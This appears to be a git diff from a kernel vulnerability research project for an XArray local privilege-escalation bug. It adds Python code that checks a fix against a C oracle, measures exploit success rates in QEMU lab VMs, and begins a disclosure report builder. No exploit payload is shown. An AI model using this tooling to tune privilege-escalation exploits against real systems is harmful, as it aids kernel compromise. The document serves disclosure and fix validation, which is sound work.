sibling_span=reachable.sibling_span, + ) + ) + return regressions + + +def _verify_width( + bits: int, shifts: Sequence[int] +) -> tuple[dict[str, object], list[_OracleCase], list[Regression], Counter[str]]: + states = _reachable_sibling_states(bits=bits, shifts=shifts) + cases: list[_OracleCase] = [] + regressions: list[Regression] = [] + fixed_failures: list[dict[str, object]] = [] + branches: Counter[str] = Counter() + terminal_states = 0 + + for reachable in states: + state = reachable.state + old_index, old_offset, old_branch = _raw_next(state, bits=bits, fixed=False) + new_index, new_offset, new_branch = _raw_next(state, bits=bits, fixed=True) + branches[old_branch] += 1 + branches[new_branch] += 1 + cases.append( + _OracleCase( + "N", + (0, bits, state.index, state.node_shift, state.offset), + (old_index, old_offset), + ) + ) + cases.append( + _OracleCase( + "N", + (1, bits, state.index, state.node_shift, state.offset), + (new_index, new_offset), + ) + ) + + if not reachable.next_is_representable: + terminal_states += 1 + branches["address_space_exhaustion"] += 1 + continue + branches["representable_next_slot"] += 1 + if old_index <= state.index: + regressions.append( + Regression( + before=state, + vulnerable_index=old_index, + fixed_index=new_index, + bits=bits, + sibling_span=reachable.sibling_span, + ) + ) + if new_index <= state.index: + fixed_failures.append( + { + "state": asdict(state), + "next_index": new_index, + "sibling_span": reachable.sibling_span, + } + ) + + # Cover the already-synchronized branch and unsigned-long exhaustion at + # every valid node shift. At ULONG_MAX the cursor is terminal even when + # a high-shift root has fewer than 64 addressable slots. + mask = _word_mask(bits) + ulong_max_cases: list[dict[str, object]] = [] + for shift in shifts: + for index in (0, mask): + state = IteratorState(index, shift, get_offset(index, shift)) + next_index, next_offset, branch = _raw_next(state, bits=bits, fixed=True) + branches[branch] += 1 + if next_offset == XA_CHUNK_SIZE: + branches["chunk_exhaustion"] += 1 + cases.append( + _OracleCase( + "N", + (1, bits, state.index, state.node_shift, state.offset), + (next_index, next_offset), + ) + ) + if index == mask: + ulong_max_cases.append( + { + "shift": shift, + "before": index, + "raw_next": next_index, + "offset": next_offset, + "terminal": True, + } + ) + + report: dict[str, object] = { + "bits": bits, + "shifts": list(shifts), + "reachable_sibling_states": len(states), + "leaf_states": sum(state.state.node_shift == 0 for state in states), + "nonleaf_states": sum(state.state.node_shift != 0 for state in states), + "terminal_address_space_states": terminal_states, + "vulnerable_regression_count": len(regressions), + "fixed_regression_count": len(fixed_failures), + "fixed_failure_examples": fixed_failures[:8], + "ulong_max_cases": ulong_max_cases, + "passed": bool(regressions) and not fixed_failures, + } + return report, cases, regressions, branches + + +def _verify_guards( + widths: Sequence[int], +) -> tuple[dict[str, object], list[_OracleCase], Counter[str]]: + cases: list[_OracleCase] = [] + branches: Counter[str] = Counter() + failures: list[dict[str, object]] = [] + + for bits in widths: + mask = _word_mask(bits) + specifications = ( + (CursorKind.NODE, 0, mask, RestartOutcome.NODE), + (CursorKind.ERROR, 0, mask, RestartOutcome.NODE), + (CursorKind.BOUNDS, 0, mask, RestartOutcome.NODE), + (CursorKind.NODE, 2, 1, RestartOutcome.NODE), + (CursorKind.NULL, 0, mask, RestartOutcome.NODE), + (CursorKind.RESTART, mask // 2, mask, RestartOutcome.NODE), + (CursorKind.RESTART, mask // 2, mask, RestartOutcome.ENTRY), + (CursorKind.RESTART, mask // 2, mask, RestartOutcome.TERMINAL), + (CursorKind.NODE, mask, mask, RestartOutcome.NODE), + ) + for kind, index, max_index, restart in specifications: + result = guard_transition( + kind, + index=index, + max_index=max_index, + bits=bits, + restart_outcome=restart, + ) + branches[result.branch] += 1 + cases.append( + _OracleCase( + "G", + (int(kind), bits, index, max_index, int(restart)), + (int(result.action), result.index), + ) + ) + if result.action == GuardAction.ADVANCE and kind not in ( + CursorKind.NODE, + CursorKind.RESTART, + ): + failures.append({"kind": kind.name, "bits": bits}) + + return ( + { + "case_count": len(cases), + "failure_count": len(failures), + "failures": failures[:8], + "passed": not failures, + }, + cases, + branches, + ) + + +def _verify_walk() -> tuple[dict[str, object], list[_OracleCase], Counter[str]]: + specifications = ( + (False, 0, 1, 0, SlotKind.EMPTY, False, WalkAction.SET_BOUNDS), + (True, 2, 1, 0, SlotKind.EMPTY, False, WalkAction.STOP_MAX), + (True, 1, 1, XA_CHUNK_SIZE, SlotKind.EMPTY, True, WalkAction.ASCEND), + ( + True, + 1, + 1, + XA_CHUNK_SIZE, + SlotKind.EMPTY, + False, + WalkAction.SET_BOUNDS, + ), + (True, 1, 1, 0, SlotKind.EMPTY, False, WalkAction.ADVANCE), + (True, 1, 1, 0, SlotKind.SIBLING, False, WalkAction.ADVANCE), + (True, 1, 1, 0, SlotKind.NODE, False, WalkAction.DESCEND), + (True, 1, 1, 0, SlotKind.ENTRY, False, WalkAction.RETURN_ENTRY), + ) + cases: list[_OracleCase] = [] + branches: Counter[str] = Counter() + failures: list[dict[str, object]] = [] + for has_node, index, max_index, offset, slot, parent, expected in specifications: + result = walk_transition( + has_node=has_node, + index=index, + max_index=max_index, + offset=offset, + slot=slot, + parent_exists=parent, + ) + branches[result.branch] += 1 + cases.append( + _OracleCase( + "W", + (int(has_node), index, max_index, offset, int(slot), int(parent)), + (int(result.action),), + ) + ) + if result.action != expected: + failures.append( + { + "branch": result.branch, + "expected": expected.name, + "actual": result.action.name, + } + ) + return ( + { + "case_count": len(cases), + "failure_count": len(failures), + "failures": failures, + "passed": not failures, + }, + cases, + branches, + ) + + +def _verify_marked_and_siblings() -> ( + tuple[dict[str, object], dict[str, object], list[_OracleCase], Counter[str]] +): + cases: list[_OracleCase] = [] + branches: Counter[str] = Counter() + marked_failures: list[dict[str, object]] = [] + sibling_failures: list[dict[str, object]] = [] + patterns = [ + 0, + (1 << XA_CHUNK_SIZE) - 1, + int("aa" * 8, 16), + int("55" * 8, 16), + *(1 << bit for bit in range(XA_CHUNK_SIZE)), + ] + + marked_case_count = 0 + for marks in patterns: + for offset in range(XA_CHUNK_SIZE + 1): + for advance in (False, True): + result = find_marked_offset(marks, offset, advance) + start = offset + int(advance) + expected = next( + (bit for bit in range(start, XA_CHUNK_SIZE) if marks & (1 << bit)), + XA_CHUNK_SIZE, + ) + marked_case_count += 1 + cases.append(_OracleCase("M", (marks, offset, int(advance)), (result,))) + if result == XA_CHUNK_SIZE: + branches["marked_exhausted"] += 1 + elif advance: + branches["marked_advance"] += 1 + else: + branches["marked_current_or_next"] += 1 + if result != expected or ( + result < XA_CHUNK_SIZE + and ( + (advance and result <= offset) + or (not advance and result < offset) + ) + ): + marked_failures.append( + { + "marks": marks, + "offset": offset, + "advance": advance, + "expected": expected, + "actual": result, + } + ) + + sibling_case_count = 0 + for span in (1, 2, 4, 8, 16, 32, 64): + for offset in range(XA_CHUNK_SIZE): + result = sibling_base(offset, span) + expected = (offset // span) * span + sibling_case_count += 1 + cases.append(_OracleCase("S", (offset, span), (result,))) + branches["sibling_rewind"] += 1 + if result != expected or result > offset or result % span: + sibling_failures.append( + { + "offset": offset, + "span": span, + "expected": expected, + "actual": result, + } + ) + + marked_report = { + "equivalence_partition": "no mark, every possible first marked slot, dense marks, and alternating marks at every start offset", + "case_count": marked_case_count, + "failure_count": len(marked_failures), + "failures": marked_failures[:8], + "passed": not marked_failures, + } + sibling_report = { + "spans": [1, 2, 4, 8, 16, 32, 64], + "case_count": sibling_case_count, + "failure_count": len(sibling_failures), + "failures": sibling_failures[:8], + "passed": not sibling_failures, + } + return marked_report, sibling_report, cases, branches + + +def _resolve_compiler(requested: str | None) -> str | None: + candidates: list[str] = [] + if requested: + candidates.append(requested) + elif os.environ.get("CC"): + candidates.append(os.environ["CC"]) + candidates.extend(("cc", "gcc", "clang")) + + for candidate in candidates: + path = Path(candidate) + if path.is_file(): + return str(path) + resolved = shutil.which(candidate) + if resolved: + return resolved + return None + + +def _run_compiled_oracle( + cases: Sequence[_OracleCase], compiler: str | None +) -> dict[str, object]: + source = Path(__file__).with_name("xarray_model_oracle.c") + source_sha256 = hashlib.sha256(source.read_bytes()).hexdigest() + resolved = _resolve_compiler(compiler) + if not resolved: + return { + "attempted": False, + "passed": False, + "case_count": 0, + "source": source.name, + "source_sha256": source_sha256, + "error": "no C compiler found (checked CC, cc, gcc, and clang)", + } + + with tempfile.TemporaryDirectory(prefix="dirty-crow-xarray-model-") as directory: + executable = Path(directory) / ( + "xarray-model-oracle.exe" if os.name == "nt" else "xarray-model-oracle" + ) + compile_result = subprocess.run( + [ + resolved, + "-std=c11", + "-O2", + "-Wall", + "-Wextra", + "-Werror", + str(source), + "-o", + str(executable), + ], + check=False, + capture_output=True, + text=True, + timeout=120, + ) + if compile_result.returncode: + return { + "attempted": True, + "compiled": False, + "passed": False, + "case_count": 0, + "compiler": Path(resolved).name, + "source": source.name, + "source_sha256": source_sha256, + "error": (compile_result.stderr or compile_result.stdout)[-4000:], + } + + payload = "\n".join(case.input_line() for case in cases) + "\n" + run_result = subprocess.run( + [str(executable)], + input=payload, + check=False, + capture_output=True, + text=True, + timeout=120, + ) + expected = [case.output_line() for case in cases] + actual = run_result.stdout.splitlines() + mismatches: list[dict[str, object]] = [] + for position in range(max(len(expected), len(actual))): + wanted = expected[position] if position < len(expected) else None + observed = actual[position] if position < len(actual) else None + if wanted != observed: + mismatches.append( + {"case": position, "expected": wanted, "actual": observed} + ) + if len(mismatches) == 8: + break + + version_result = subprocess.run( + [resolved, "--version"], + check=False, + capture_output=True, + text=True, + timeout=30, + ) + version = (version_result.stdout or version_result.stderr).splitlines() + passed = ( + run_result.returncode == 0 + and not mismatches + and len(actual) == len(expected) + ) + return { + "attempted": True, + "compiled": True, + "passed": passed, + "case_count": len(cases), + "compiler": Path(resolved).name, + "compiler_version": version[0] if version else "unknown", + "source": source.name, + "source_sha256": source_sha256, + "process_exit": run_result.returncode, + "output_lines": len(actual), + "mismatch_count": 0 if passed else max(1, len(mismatches)), + "mismatches": mismatches, + "stderr": run_result.stderr[-2000:], + } + + +def _normalize_widths(bits: int | Iterable[int]) -> tuple[int, ...]: + if isinstance(bits, int): + widths = (bits,) + else: + widths = tuple(dict.fromkeys(bits)) + if not widths: + raise ValueError("at least one bit width is required") + for width in widths: + _validate_bits(width) + return widths + + +def verify_fix_model( + *, + bits: int | Iterable[int] = FULL_WIDTHS, + shifts: Iterable[int] | None = None, + compiler: str | None = None, +) -> dict[str, object]: + """Verify the XArray cursor fix over full-width state equivalence classes.""" + widths = _normalize_widths(bits) + requested_shifts = tuple(dict.fromkeys(shifts)) if shifts is not None else None + width_reports: dict[str, dict[str, object]] = {} + all_cases: list[_OracleCase] = [] + all_regressions: list[Regression] = [] + all_branches: Counter[str] = Counter() + shift_coverage: dict[str, dict[str, object]] = {} + + for width in widths: + valid = valid_node_shifts(width) + if requested_shifts is None: + selected = valid + else: + invalid = [shift for shift in requested_shifts if shift not in valid] + if invalid: + raise ValueError( + f"invalid node shifts for {width}-bit word: {invalid}; valid shifts are {list(valid)}" + ) + selected = requested_shifts + width_report, cases, regressions, branches = _verify_width(width, selected) + width_reports[str(width)] = width_report + all_cases.extend(cases) + all_regressions.extend(regressions) + all_branches.update(branches) + shift_coverage[str(width)] = { + "valid": list(valid), + "modeled": list(selected), + "complete": selected == valid, + } + + guard_report, guard_cases, guard_branches = _verify_guards(widths) + walk_report, walk_cases, walk_branches = _verify_walk() + marked_report, sibling_report, traversal_cases, traversal_branches = ( + _verify_marked_and_siblings() + ) + all_cases.extend(guard_cases) + all_cases.extend(walk_cases) + all_cases.extend(traversal_cases) + all_branches.update(guard_branches) + all_branches.update(walk_branches) + all_branches.update(traversal_branches) + + expected_branches = { + "offset_synced", + "representable_next_slot", + "address_space_exhaustion", + "chunk_exhaustion", + "guard_error", + "guard_bounds", + "guard_above_max", + "guard_null_node", + "guard_node_continue", + "restart_continue", + "restart_entry", + "restart_terminal", + "marked_current_or_next", + "marked_advance", + "marked_exhausted", + "sibling_rewind", + "walk_root_exhausted", + "walk_above_max", + "walk_ascend", + "walk_ascend_root", + "walk_descend", + "walk_entry", + "walk_sibling", + "walk_empty", + } + modeled_shifts = { + shift for coverage in shift_coverage.values() for shift in coverage["modeled"] + } + if 0 in modeled_shifts: + expected_branches.add("leaf_offset_resync") + if any(shift for shift in modeled_shifts): + expected_branches.update( + {"nonleaf_offset_unsynchronized", "nonleaf_offset_resync"} + ) + missing_branches = sorted(expected_branches - set(all_branches)) + differential = _run_compiled_oracle(all_cases, compiler) + vulnerable_count = sum( + int(report["vulnerable_regression_count"]) for report in width_reports.values() + ) + fixed_count = sum( + int(report["fixed_regression_count"]) for report in width_reports.values() + ) + full_width = set(widths) == set(FULL_WIDTHS) and all( + item["complete"] for item in shift_coverage.values() + ) + passed = ( + vulnerable_count > 0 + and fixed_count == 0 + and all(bool(report["passed"]) for report in width_reports.values()) + and bool(guard_report["passed"]) + and bool(walk_report["passed"]) + and bool(marked_report["passed"]) + and bool(sibling_report["passed"]) + and not missing_branches + and bool(differential["passed"]) + ) + + return { + "schema_version": MODEL_SCHEMA_VERSION, + "model": "xas_find cursor-state and offset-transition verification", + "mode": "full-width" if full_width else "targeted", + "bits": list(widths), + "shift_coverage": shift_coverage, + "widths": width_reports, + "vulnerable_regression_count": vulnerable_count, + "fixed_regression_count": fixed_count, + "passed": passed, + "examples": [regression.as_dict() for regression in all_regressions[:8]], + "terminal_states": guard_report, + "walk_transition": walk_report, + "marked_iteration": marked_report, + "sibling_entries": sibling_report, + "branch_coverage": { + "expected": sorted(expected_branches), + "observed": dict(sorted(all_branches.items())), + "missing": missing_branches, + "complete": not missing_branches, + }, + "differential_oracle": differential, + "reproducibility": { + "state_partition": "all valid shifts; every aligned sibling span and interior slot; low-bit boundary representatives; first, second, and final high chunks; ULONG_MAX", + "equivalence_argument": ( + "xas_move_index discards the low shift+6 bits, so behavior " + "depends only on sibling canonical slot, requested slot, " + "whether lower bits are zero, and whether the high chunk is " + "the final unsigned-long chunk. The partition enumerates " + "every slot/span and both lower-bit classes, with boundary " + "representatives for each high-chunk class." + ), + "marked_partition": marked_report["equivalence_partition"], + "deterministic": True, + "timestamps_in_output": False, + }, + "boundary": "Proof of unsigned-long cursor arithmetic, every pre-walk and single-step walk branch, marked-bit selection, and sibling canonicalization. It does not model memory reclamation or establish runtime exploitability.", + } diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/reliability.py b/dirty-crow-xarray-lpe/framework/dirtycrow/reliability.py new file mode 100644 index 0000000..91f9d0e --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/reliability.py @@ -0,0 +1,504 @@ +from __future__ import annotations + +import math +import time +from dataclasses import dataclass +from pathlib import Path +from statistics import NormalDist, fmean, median +from typing import Callable + +from .lab import LabProfile, build_qemu_plan, load_lab_profile, run_lab +from .runtime_evidence import SCHEMA_VERSION as RUNTIME_EVIDENCE_SCHEMA_VERSION +from .strictjson import ( + expect_int, + expect_keys, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + sha256_file, + write_json_atomic, +) + +_SCHEMA_VERSION = 1 +_MAX_ATTEMPTS = 10_000 +_CATEGORIES = ( + "complete_proof", + "primitive_observed", + "clean_miss", + "controlled_crash", + "unexpected_kernel_fault", + "timeout", + "launch_error", + "abnormal_guest_exit", + "inconclusive", +) + + +class ReliabilityError(ValueError): + """A reliability campaign violates its execution or evidence contract.""" + + +@dataclass(frozen=True) +class ReliabilityProfile: + source: Path + campaign_id: str + attempts: int + confidence_level: float + preemption_mode: str + lab_profile_path: Path + lab: LabProfile + + +LabRunner = Callable[[LabProfile, Path], dict[str, object]] + + +def _expect_confidence(value: object) -> float: + if isinstance(value, bool) or not isinstance(value, (int, float)): + raise ReliabilityError("confidence_level must be a number") + confidence = float(value) + if not 0.5 <= confidence < 1.0: + raise ReliabilityError("confidence_level must be at least 0.5 and below 1.0") + return confidence + + +def load_reliability_profile(profile_path: Path) -> ReliabilityProfile: + source = profile_path.resolve(strict=True) + payload = load_object(source, ReliabilityError) + expect_keys( + payload, + "profile", + required={ + "schema_version", + "campaign_id", + "lab_profile", + "attempts", + "confidence_level", + "preemption_mode", + }, + error_type=ReliabilityError, + ) + if payload["schema_version"] != _SCHEMA_VERSION: + raise ReliabilityError( + f"unsupported reliability schema_version: {payload['schema_version']!r}" + ) + campaign_id = expect_string( + payload["campaign_id"], "campaign_id", ReliabilityError + ) + if len(campaign_id) > 127 or not all( + character.isalnum() or character in "-_." for character in campaign_id + ): + raise ReliabilityError("campaign_id contains an unsupported character") + attempts = expect_int( + payload["attempts"], + "attempts", + 1, + _MAX_ATTEMPTS, + ReliabilityError, + ) + confidence_level = _expect_confidence(payload["confidence_level"]) + preemption_mode = expect_string( + payload["preemption_mode"], "preemption_mode", ReliabilityError + ) + lab_profile_path = resolve_beneath_file( + source.parent, + payload["lab_profile"], + "lab_profile", + ReliabilityError, + ) + lab = load_lab_profile(lab_profile_path) + if lab.boot.action != "backstep-proof": + raise ReliabilityError( + "reliability campaigns require lab boot.action=backstep-proof" + ) + return ReliabilityProfile( + source=source, + campaign_id=campaign_id, + attempts=attempts, + confidence_level=confidence_level, + preemption_mode=preemption_mode, + lab_profile_path=lab_profile_path, + lab=lab, + ) + + +def _geometry(profile: ReliabilityProfile) -> dict[str, object]: + vm = profile.lab.vm + return { + "architecture": vm.architecture, + "page_size": vm.page_size, + "machine": vm.machine, + "acceleration": vm.acceleration, + "cpu_model": vm.cpu, + "smp_cpus": vm.cpus, + "memory_mib": vm.memory_mib, + "declared_preemption_mode": profile.preemption_mode, + "boot_append": profile.lab.boot.append, + "host_deadlines": { + **vm.watchdog.record(), + "total_seconds": vm.timeout_seconds, + }, + } + + +def build_reliability_plan(profile: ReliabilityProfile) -> dict[str, object]: + lab_plan = build_qemu_plan(profile.lab) + return { + "schema_version": _SCHEMA_VERSION, + "record_type": "dirty-crow-race-reliability-plan", + "campaign_id": profile.campaign_id, + "target_id": profile.lab.target_id, + "attempts": profile.attempts, + "confidence_level": profile.confidence_level, + "confidence_interval_method": "Wilson score interval", + "success_definitions": { + "primitive_observation": ( + "PAGE_TABLE_PRIMITIVE or verified ARBITRARY_PHYSICAL_RW" + ), + "complete_proof": ( + "native full proof plus a clean host-observed guest lifecycle" + ), + }, + "claim_boundary": ( + "Rates apply only to the exact hashed target artifacts, VM geometry, " + "backend configuration, and campaign attempts recorded here." + ), + "geometry": _geometry(profile), + "profile": { + "path": str(profile.source), + "sha256": sha256_file(profile.source), + }, + "lab_profile": { + "path": str(profile.lab_profile_path), + "sha256": sha256_file(profile.lab_profile_path), + }, + "artifacts": lab_plan["artifacts"], + "attempt_output_pattern": "attempt-NNNN/{plan.json,console.log,evidence.json,result.json}", + "categories": list(_CATEGORIES), + } + + +def wilson_interval( + successes: int, trials: int, confidence_level: float +) -> dict[str, object] | None: + if trials == 0: + return None + if not 0 <= successes <= trials: + raise ReliabilityError("successes must be between zero and trials") + z = NormalDist().inv_cdf((1.0 + confidence_level) / 2.0) + proportion = successes / trials + denominator = 1.0 + z * z / trials + center = (proportion + z * z / (2.0 * trials)) / denominator + margin = ( + z + * math.sqrt( + proportion * (1.0 - proportion) / trials + + z * z / (4.0 * trials * trials) + ) + / denominator + ) + return { + "method": "Wilson score interval", + "confidence_level": confidence_level, + "successes": successes, + "trials": trials, + "estimate": proportion, + "lower": max(0.0, center - margin), + "upper": min(1.0, center + margin), + } + + +def _read_attempt_evidence( + profile: ReliabilityProfile, + attempt_dir: Path, + result: dict[str, object], +) -> tuple[dict[str, object], dict[str, object], Path]: + reference = expect_object( + result.get("evidence"), "result.evidence", ReliabilityError + ) + expect_keys( + reference, + "result.evidence", + required={"path", "sha256", "classification", "proof_confirmed"}, + error_type=ReliabilityError, + ) + evidence_path = Path( + expect_string(reference["path"], "result.evidence.path", ReliabilityError) + ).resolve(strict=True) + if not evidence_path.is_relative_to(attempt_dir.resolve(strict=True)): + raise ReliabilityError("attempt evidence path escapes its attempt directory") + expected_sha256 = expect_sha256( + reference["sha256"], "result.evidence.sha256", ReliabilityError + ) + if sha256_file(evidence_path) != expected_sha256: + raise ReliabilityError("attempt evidence SHA-256 mismatch") + evidence = load_object(evidence_path, ReliabilityError) + if evidence.get("schema_version") != RUNTIME_EVIDENCE_SCHEMA_VERSION: + raise ReliabilityError("attempt evidence has an unsupported schema_version") + if evidence.get("record_type") != "dirty-crow-native-runtime-evidence": + raise ReliabilityError("attempt evidence has an unsupported record_type") + target = expect_object(evidence.get("target"), "evidence.target", ReliabilityError) + if target.get("id") != profile.lab.target_id: + raise ReliabilityError("attempt evidence target does not match the campaign") + if target.get("action") != profile.lab.boot.action: + raise ReliabilityError("attempt evidence action does not match the campaign") + outcome = expect_object( + evidence.get("outcome"), "evidence.outcome", ReliabilityError + ) + if reference["classification"] != outcome.get("classification"): + raise ReliabilityError("result and evidence classifications disagree") + if reference["proof_confirmed"] is not outcome.get("proof_confirmed"): + raise ReliabilityError("result and evidence proof states disagree") + return outcome, evidence, evidence_path + + +def _classify_attempt( + result: dict[str, object], outcome: dict[str, object] +) -> str: + state = result.get("state") + event_counts = outcome.get("event_counts") + controlled_crash = ( + isinstance(event_counts, dict) + and isinstance(event_counts.get("CONTROLLED_CRASH"), int) + and event_counts["CONTROLLED_CRASH"] > 0 + ) + crash_markers = outcome.get("crash_markers") + unexpected_fault = isinstance(crash_markers, list) and bool(crash_markers) + primitive = outcome.get("page_table_primitive") is True or outcome.get( + "physical_rw" + ) is True + + if state == "launch_error": + return "launch_error" + if state in {"timed_out", "deadline_exceeded", "recovery_forced", "recovery_failed"}: + return "timeout" + if unexpected_fault: + return "unexpected_kernel_fault" + if controlled_crash: + return "controlled_crash" + if outcome.get("proof_confirmed") is True: + return "complete_proof" + if primitive: + return "primitive_observed" + if state == "exited_clean" and outcome.get("security_impact_observed") is False: + return "clean_miss" + if state in { + "exited_error", + "boot_failed", + "trigger_not_observed", + "serial_capture_error", + "recovery_unverified", + }: + return "abnormal_guest_exit" + return "inconclusive" + + +def _artifact_reference( + destination: Path, path: Path +) -> dict[str, object]: + resolved = path.resolve(strict=True) + if not resolved.is_relative_to(destination.resolve(strict=True)): + raise ReliabilityError("campaign artifact escapes its output directory") + return { + "path": resolved.relative_to(destination.resolve(strict=True)).as_posix(), + "sha256": sha256_file(resolved), + } + + +def _attempt_record( + profile: ReliabilityProfile, + destination: Path, + attempt_dir: Path, + index: int, + result: dict[str, object], +) -> dict[str, object]: + result_path = attempt_dir / "result.json" + plan_path = attempt_dir / "plan.json" + console_path = attempt_dir / "console.log" + for path in (result_path, plan_path, console_path): + if not path.is_file(): + raise ReliabilityError(f"attempt artifact missing: {path.name}") + persisted_result = load_object(result_path, ReliabilityError) + if persisted_result != result: + raise ReliabilityError("returned result differs from persisted result.json") + result = persisted_result + outcome, evidence, evidence_path = _read_attempt_evidence( + profile, attempt_dir, result + ) + plan = load_object(plan_path, ReliabilityError) + plan_sha256 = sha256_file(plan_path) + if evidence.get("plan_sha256") != plan_sha256: + raise ReliabilityError("attempt evidence is not bound to plan.json") + if evidence.get("artifacts") != plan.get("artifacts"): + raise ReliabilityError("attempt evidence artifacts do not match plan.json") + evidence_console = expect_object( + evidence.get("console"), "evidence.console", ReliabilityError + ) + if evidence_console.get("sha256") != sha256_file(console_path): + raise ReliabilityError("attempt evidence is not bound to console.log") + expected_lifecycle = dict(result) + expected_lifecycle.pop("evidence", None) + if evidence.get("lifecycle") != expected_lifecycle: + raise ReliabilityError("attempt evidence lifecycle does not match result.json") + category = _classify_attempt(result, outcome) + primitive = outcome.get("page_table_primitive") is True or outcome.get( + "physical_rw" + ) is True + page_table = outcome.get("page_table_primitive_evidence") + race_round = page_table.get("round") if isinstance(page_table, dict) else None + if isinstance(race_round, bool) or not isinstance(race_round, int): + race_round = None + race_parameters = outcome.get("race_parameters") + random_seed = ( + race_parameters.get("random_seed") + if isinstance(race_parameters, dict) + else None + ) + return { + "attempt": index, + "category": category, + "primitive_observed": primitive, + "proof_completed": outcome.get("proof_confirmed") is True, + "race_round": race_round, + "random_seed": random_seed, + "lifecycle": { + "state": result.get("state"), + "termination": result.get("termination"), + "duration_ms": result.get("duration_ms"), + "qemu_exit_code": result.get("qemu_exit_code"), + "timed_out": result.get("timed_out"), + "forced_termination": result.get("forced_termination"), + "failure_reason": result.get("failure_reason"), + "watchdog": result.get("watchdog"), + "recovery": result.get("recovery"), + }, + "analysis": { + "classification": outcome.get("classification"), + "crash_markers": outcome.get("crash_markers"), + "initial_state_valid": outcome.get("initial_state_valid"), + "proof_variant": outcome.get("proof_variant"), + }, + "artifacts": { + "plan": _artifact_reference(destination, plan_path), + "console": _artifact_reference(destination, console_path), + "evidence": _artifact_reference(destination, evidence_path), + "result": _artifact_reference(destination, result_path), + }, + } + + +def _round_distribution(rounds: list[int]) -> dict[str, object]: + if not rounds: + return { + "observations": 0, + "minimum": None, + "maximum": None, + "mean": None, + "median": None, + "p95_nearest_rank": None, + "values": [], + } + ordered = sorted(rounds) + p95_index = max(0, math.ceil(0.95 * len(ordered)) - 1) + return { + "observations": len(ordered), + "minimum": ordered[0], + "maximum": ordered[-1], + "mean": fmean(ordered), + "median": median(ordered), + "p95_nearest_rank": ordered[p95_index], + "values": ordered, + } + + +def run_reliability_campaign( + profile: ReliabilityProfile, + output_dir: Path, + *, + lab_runner: LabRunner = run_lab, +) -> dict[str, object]: + destination = output_dir.resolve(strict=False) + if destination.exists(): + raise FileExistsError( + f"reliability output directory already exists: {destination}" + ) + destination.mkdir(parents=True) + plan = build_reliability_plan(profile) + plan_path = destination / "campaign-plan.json" + write_json_atomic(plan_path, plan) + + started = time.monotonic() + records: list[dict[str, object]] = [] + first_primitive_attempt: int | None = None + first_primitive_elapsed_ms: int | None = None + for index in range(1, profile.attempts + 1): + attempt_dir = destination / f"attempt-{index:04d}" + result = lab_runner(profile.lab, attempt_dir) + record = _attempt_record(profile, destination, attempt_dir, index, result) + records.append(record) + if record["primitive_observed"] is True and first_primitive_attempt is None: + first_primitive_attempt = index + first_primitive_elapsed_ms = round((time.monotonic() - started) * 1000) + + counts = {category: 0 for category in _CATEGORIES} + for record in records: + category = record["category"] + assert isinstance(category, str) and category in counts + counts[category] += 1 + eligible = sum( + count for category, count in counts.items() if category != "launch_error" + ) + primitive_successes = sum( + record["primitive_observed"] is True + for record in records + if record["category"] != "launch_error" + ) + proof_successes = counts["complete_proof"] + clean_exits = sum( + record["lifecycle"]["state"] == "exited_clean" # type: ignore[index] + for record in records + if record["category"] != "launch_error" + ) + rounds = [ + race_round + for record in records + if isinstance((race_round := record["race_round"]), int) + and not isinstance(race_round, bool) + ] + measurement_valid = eligible == profile.attempts + summary = { + "schema_version": _SCHEMA_VERSION, + "record_type": "dirty-crow-race-reliability-summary", + "campaign_id": profile.campaign_id, + "target_id": profile.lab.target_id, + "measurement_valid": measurement_valid, + "claim_boundary": plan["claim_boundary"], + "geometry": plan["geometry"], + "attempts_scheduled": profile.attempts, + "attempts_completed": len(records), + "eligible_attempts": eligible, + "category_counts": counts, + "statistics": { + "primitive_observation_rate": wilson_interval( + primitive_successes, eligible, profile.confidence_level + ), + "complete_proof_rate": wilson_interval( + proof_successes, eligible, profile.confidence_level + ), + "clean_exit_rate": wilson_interval( + clean_exits, eligible, profile.confidence_level + ), + "race_round_distribution": _round_distribution(rounds), + "first_primitive_attempt": first_primitive_attempt, + "first_primitive_elapsed_ms": first_primitive_elapsed_ms, + }, + "campaign_duration_ms": round((time.monotonic() - started) * 1000), + "plan": { + "path": plan_path.name, + "sha256": sha256_file(plan_path), + }, + "attempts": records, + } + write_json_atomic(destination / "summary.json", summary) + return summary diff --git a/dirty-crow-xarray-lpe/framework/dirtycrow/reports.py b/dirty-crow-xarray-lpe/framework/dirtycrow/reports.py new file mode 100644 index 0000000..998d17d --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/reports.py @@ -0,0 +1,534 @@ +from __future__ import annotations + +from dataclasses import dataclass +import hashlib +import json +from pathlib import Path +import re +from typing import Mapping + +from .catalog import verify_claim_catalog, verify_finding_catalog +from .disclosure import verify_disclosure_tracker +from .evidence import verify_manifest +from .fix_validation import verify_fix_validation +from .strictjson import ( + expect_keys, + expect_list, + expect_object, + expect_sha256, + expect_string, + load_object, + resolve_beneath_file, + write_json_atomic, +) +from .targets import validate_target_matrix + + +_INPUT_NAMES = { + "findings", + "targets", + "disclosure", + "current_claims", + "backend_registry", + "evidence_index", + "final_verification", + "standalone_evidence", + "evidence_manifest", + "candidate_fix_patch", + "regression_test_patch", + "fix_validation", +} +_ABSOLUTE_PATH = re.compile(r"(?:^[A-Za-z]:[\\/]|^/(?:home|mnt|opt|root|tmp)/)") + + +@dataclass(frozen=True) +class ReportInput: + name: str + path: Path + relative_path: str + sha256: str + + +@dataclass(frozen=True) +class ReportProfile: + source: Path + report_id: str + as_of: str + inputs: Mapping[str, ReportInput] + reproduction: Mapping[str, object] + redaction: Mapping[str, bool] + boundary: str + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def _canonical_hash(payload: Mapping[str, object]) -> str: + return hashlib.sha256( + json.dumps(payload, sort_keys=True, separators=(",", ":")).encode() + ).hexdigest() + + +def _write_text_atomic(path: Path, text: str) -> None: + temporary = path.with_name(path.name + ".tmp") + temporary.write_text(text, encoding="utf-8") + temporary.replace(path) + + +def load_report_profile(profile_path: Path, root: Path) -> ReportProfile: + source = profile_path.resolve(strict=True) + root = root.resolve(strict=True) + payload = load_object(source) + expect_keys( + payload, + "report profile", + required={ + "schema_version", + "id", + "as_of", + "inputs", + "reproduction", + "redaction", + "boundary", + }, + ) + if payload["schema_version"] != 1: + raise ValueError("unsupported report profile schema") + report_id = expect_string(payload["id"], "id") + if re.fullmatch(r"[a-z0-9][a-z0-9._-]{2,95}", report_id) is None: + raise ValueError("report id is not canonical") + as_of = 